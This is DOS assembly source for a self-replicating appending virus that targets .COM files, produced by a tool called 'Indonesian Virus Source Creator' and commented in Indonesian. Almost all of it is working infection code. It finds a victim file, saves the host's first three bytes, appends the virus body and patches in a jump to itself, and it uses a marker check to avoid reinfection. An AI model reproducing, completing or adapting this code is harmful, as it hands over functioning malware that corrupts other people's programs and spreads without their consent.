; Indonesian Virus Source Creator v0.1.1
; Written by Henry Yonathan
; Virus name : Appending
; Author : Ding Lik
; Yg ada ;* itu dari gua, Ding Lik
	Ideal
	Model Tiny
	UDataSeg
	DTA		db 43 dup (?)	; Untuk DTA baru
	Label		Buffer	Byte
	CodeSeg
	Radix	16			; Gunakan bilangan hexa
	StartUpCode			; Atau Org 100

StartOfVirus:
	db 0e9, 0, 0			; Loncat ke SOV

SOV:
	call $ + 3			; Trik untuk memperoleh flexible offset
	pop bp				; BP = IP
	sub bp, offset $ - 1		; BP = BP - Ofset sebelumnya

	mov [bp + Victim + 4], 'm'    ; Ganti spesifikasi


WhereToEnDec:				; Awal yang di D/Encrypt
	lea si, [bp + Old3byte]		; Alamat 3 asli cadangan
	mov di, 100			; Alamat program
	push di				; Untuk balik ke program asli
	movsw
	movsb				; Pindahkan

	mov ah, 1a
	lea dx, [bp + DTA]
	int 21				; Buat DTA baru

	mov ah, 4e
	lea dx, [bp + Victim]		; Pola file
	mov cx, 27
	int 21				; Cari file!

	mov ax, 3d02
	lea dx, [bp + DTA + 1e]		; Nama korban
	int 21				; Buka
	xchg ax, bx			; BX = file handle

	mov ah, 3f
	mov cx, 3			; 3 byte
	lea dx, [bp + Buffer]		; Tempatkan pada Buffer
	int 21				; Baca!

	lea si, [bp + Buffer]		; 3 byte asli
	lea di, [bp + Old3Byte]		; 3 byte asli cadangan

	movsw
	movsb				; Pindahkan

	mov cx, [word bp + DTA + 1a]	; CX = besar file
	sub cx, (EndOfVirus - SOV) + 3	; Kurangi dengan besar virus
	cmp [bp + Buffer], 0E9		; Byte pertama jmp ?
	jne Infeksi			; Tidak, Infeksi
	cmp [word bp + Buffer + 1], cx	; Bytes kedua = CX ?
	jne Infeksi			; Tidak, Infeksi

Selesai:
	mov ah, 3e
	int 21				; Tutup file

	mov ah, 1a
	mov dx, 80
	int 21				; Kembalikan DTA

Return:
	ret				; Balik ke program asli

;// Virus' data
;//
Victim 		db '*.cOl', 0		; Pola file

Old3byte	db 90, 0CDh, 20		; 3 byte asli cadangan

Mark            db 'YC', 0              ; Yonathan Chen

Tool            db '[Created by IVSC v0.1.1á]', 0

Infeksi:
	mov ax, 4202
	cwd
	xor cx, cx
	int 21				; Ke akhir file

;* Menulis badan virus pada akhir file asli
	mov ah, 40			;* IVSC tidak
	mov cx, EndOfVirus - SOV	;* menambah
	lea dx, [bp + SOV]		;* baris
	int 21				;* ini!

	mov [bp + Victim + 4], 'l'    ; Ganti lagi
	mov ax, 4200
	xor cx, cx
	cwd
	int 21				; Ke awal file


	mov ax, [word bp + DTA + 1a]	; AX = besar file
	sub ax, 3			; Kurangi 3
	mov [bp + Buffer], 0E9		; Byte pertama jmp
	mov [word bp + Buffer + 1], ax	; jmp sebesar file (AX)

	mov ah, 40
	mov cx, 3			; Banyaknya
	lea dx, [bp + Buffer]		; Alamat data
	int 21				; Tulis 3 byte baru

	jmp Selesai
EndOfVirus = $

	END